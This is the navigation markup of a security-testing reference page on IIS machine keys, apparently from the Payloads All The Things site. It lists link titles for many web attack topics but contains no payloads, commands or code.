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Payloads All The Things
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IIS Machine Keys
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IIS Machine Keys
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Summary
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Viewstate Format
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Machine Key Format And Locations
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Identify Known Machine Key
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MAC Is Enabled And Encryption Is Disabled
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MAC Is Enabled And Encryption Is Enabled
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Edit Cookies With The Machine Key
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<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4">
<span class="md-nav__icon md-icon"></span>
Account Takeover
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Account%20Takeover/" class="md-nav__link">
<span class="md-ellipsis">
Account Takeover
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
<span class="md-ellipsis">
Business Logic Errors
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_5">
<span class="md-nav__icon md-icon"></span>
Business Logic Errors
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Business%20Logic%20Errors/" class="md-nav__link">
<span class="md-ellipsis">
Business Logic Errors
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_6">
<span class="md-nav__icon md-icon"></span>
CORS Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CORS%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_7">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dom Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dom Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dom%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
Dom Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Serialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/YAML/" class="md-nav__link">
<span class="md-ellipsis">
YAML Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
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Insecure Source Code Management
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Insecure Source Code Management
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Mercurial
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Subversion
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JSON Web Token
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JSON Web Token
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Java RMI
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LDAP Injection
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LDAP Injection
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LaTeX Injection
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LaTeX Injection
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Mass Assignment
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Mass Assignment
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Mass Assignment
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Active Directory Attacks
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Bind Shell
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Cloud - Azure
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Cobalt Strike
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Container - Docker
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<a href="../../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
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Container - Kubernetes
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Application Escape and Breakout
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HTML Smuggling
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Hash Cracking
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Initial Access
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Linux - Evasion
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Linux - Persistence
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Linux - Privilege Escalation
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MSSQL Server
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<a href="../../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
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Metasploit
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Bug Hunting Methodology and Enumeration
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Miscellaneous &amp; Tricks
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Network Discovery
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<a href="../../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
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Network Pivoting Techniques
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<a href="../../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
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Office - Attacks
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Powershell
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<a href="../../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
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Reverse Shell Cheat Sheet
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Source Code Management &amp; CI/CD Compromise
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Vulnerability Reports
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Subdomains Enumeration
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Windows - AMSI Bypass
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<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
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Windows - DPAPI
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
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Windows - Defenses
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
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Windows - Download and execute methods
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
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Windows - Mimikatz
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
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Windows - Persistence
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
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Windows - Privilege Escalation
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
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Windows - Using credentials
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NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
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NoSQL Injection
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<a href="../../NoSQL%20Injection/" class="md-nav__link">
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NoSQL Injection
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OAuth Misconfiguration
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
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OAuth Misconfiguration
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<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
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OAuth Misconfiguration
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ORM Leak
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</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
ORM Leak
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
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Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
Open Redirect
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirection
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</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
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<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
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</a>
</li>
</ul>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
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Prototype Pollution
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</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
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Prototype Pollution
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prototype%20Pollution/" class="md-nav__link">
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Prototype Pollution
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Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
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<li class="md-nav__item">
<a href="../../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
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Regular Expression
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<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Regular%20Expression/" class="md-nav__link">
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Regular Expression
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<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Index
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</a>
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</ul>
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</li>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
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<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
SAML Injection
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
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Hibernate Query Language Injection
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SQLmap
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Server Side Include Injection
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Server Side Include Injection
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Server Side Include Injection
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Server Side Request Forgery
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Server Side Request Forgery
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Server-Side Request Forgery
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Server Side Template Injection
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
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Server Side Template Injection
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Server Side Template Injection
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Server Side Template Injection - ASP.NET
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Server Side Template Injection - Expression Language
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Server Side Template Injection - Java
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Server Side Template Injection - JavaScript
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Server Side Template Injection - PHP
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Server Side Template Injection - Python
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Server Side Template Injection - Ruby
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<span class="md-ellipsis">
Tabnabbing
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</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
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<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52_2" >
<label class="md-nav__link" for="__nav_52_2" id="__nav_52_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_52_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
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Web Sockets
</label>
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<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
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<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
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XPATH Injection
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
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<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
